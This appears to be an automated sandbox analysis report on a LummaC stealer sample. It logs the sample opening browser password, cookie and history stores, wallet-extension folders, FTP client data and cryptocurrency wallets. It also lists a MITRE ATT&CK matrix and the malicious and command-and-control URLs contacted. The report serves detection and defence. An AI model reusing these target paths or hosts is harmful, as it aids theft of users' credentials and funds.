Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\8h0a78bs.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\8h0a78bs.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\8h0a78bs.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\8h0a78bs.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\8h0a78bs.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\8h0a78bs.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\8h0a78bs.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: Yara match

File source: Process Memory Space: DrWindows.exe PID: 7464, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: DrWindows.exe PID: 7464, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	2 Browser Extensions	12 Process Injection	3 Obfuscated Files or Information	11 Input Capture	22 System Information Discovery	Remote Desktop Protocol	4 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Software Packing	Security Account Manager	121 Security Software Discovery	SMB/Windows Admin Shares	11 Input Capture	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	121 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	15 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	3 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	121 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Process Injection	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://ytfjghloadv1.b-cdn.net/proCESSINGveriffv001.html	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://youngsweays.my/apiw	0%	Avira URL Cloud	safe
http://www.kolor.comGen0cide	0%	Avira URL Cloud	safe
https://ytfjghloadv1.b-cdn.net/favicon.ico	0%	Avira URL Cloud	safe
http://www.xnview.org	0%	Avira URL Cloud	safe
http://newsgroup.xnview.com/viewforum.php?f=60	0%	Avira URL Cloud	safe
https://asgbucket.oss-ap-southeast-3.aliyuncs.com/class/initiate/JidW3mE7.txt	100%	Avira URL Cloud	malware
youngsweays.my	0%	Avira URL Cloud	safe
https://ytfjghloadv1.b-cdn.net/proCESSINGveriffv001.htmlVerify	0%	Avira URL Cloud	safe
http://www.kolor.com	0%	Avira URL Cloud	safe
https://youngsweays.my/K	0%	Avira URL Cloud	safe
https://youngsweays.my/apiI	0%	Avira URL Cloud	safe
https://youngsweays.my/api	0%	Avira URL Cloud	safe
http://www.luratech.com	0%	Avira URL Cloud	safe
